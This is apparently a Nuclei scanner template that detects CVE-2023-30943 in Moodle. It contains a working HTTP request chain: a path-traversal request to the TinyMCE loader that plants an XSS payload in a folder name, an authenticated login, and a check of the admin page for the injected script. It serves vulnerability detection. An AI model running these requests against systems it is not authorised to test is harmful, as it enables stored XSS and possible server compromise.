id: CVE-2023-30943

info:
  name: Moodle - Cross-Site Scripting/Remote Code Execution
  author: ritikchaddha
  severity: medium
  description: |
    The vulnerability was found Moodle which exists because the application allows a user to control path of the older to create in TinyMCE loaders. A remote user can send a specially crafted HTTP request and create arbitrary folders on the system. Moodle versions 4.1.x before 4.1.3 and 4.2.x before 4.2.0 are susceptible to an unauthenticated arbitrary folder creation, tracked as CVE-2023-30943. An attacker can leverage the creation of arbitrary folders to carry out a Stored Cross-Site Scripting (XSS) attack on the administration panel, resulting in arbitrary code execution on the server as soon as an administrator visits the panel.
  reference:
    - https://www.sonarsource.com/blog/playing-dominos-with-moodles-security-1/?utm_source=twitter&utm_medium=social&utm_campaign=wordpress&utm_content=security&utm_term=mofu
    - https://nvd.nist.gov/vuln/detail/CVE-2023-30943
    - http://git.moodle.org/gw?p=moodle.git&a=search&h=HEAD&st=commit&s=MDL-77718
    - https://bugzilla.redhat.com/show_bug.cgi?id=2188605
    - https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/54TM5H5PDUDYXOQ7X7PPYWP4AJDAE73I/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
    cvss-score: 5.3
    cve-id: CVE-2023-30943
    cwe-id: CWE-610,CWE-73
    epss-score: 0.0138
    epss-percentile: 0.84815
    cpe: cpe:2.3:a:moodle:moodle:*:*:*:*:*:*:*:*
  metadata:
    max-request: 4
    vendor: moodle
    product: moodle
    shodan-query: title:"Moodle"
  tags: cve,cve2023,moodle,xss,rce,authenticated

http:
  - raw:
      - |
        GET /lib/editor/tiny/loader.php?rev=a/../../../../html/pix/f/<input><img%20src=x%20onerror=alert(document.domain)>.png HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
      - |
        GET /login/index.php HTTP/2
        Host: {{Hostname}}
      - |
        POST /login/index.php HTTP/2
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        anchor=&logintoken={{token}}&username={{username}}&password={{password}}
      - |
        GET /admin/tool/filetypes/edit.php?name=add HTTP/1.1
        Host: {{Hostname}}

    host-redirects: true
    cookie-reuse: true

    matchers-condition: and
    matchers:
      - type: word
        part: body_4
        words:
          - "<img src=x onerror=alert(document.domain)>"
          - ">archive"
          - "File icon"
        condition: and

      - type: word
        part: header_4
        words:
          - text/html

      - type: status
        part: header_4
        status:
          - 200

    extractors:
      - type: regex
        part: body
        name: token
        group: 1
        regex:
          - 'name="logintoken" value="([a-zA-Z0-9]+)">'
        internal: true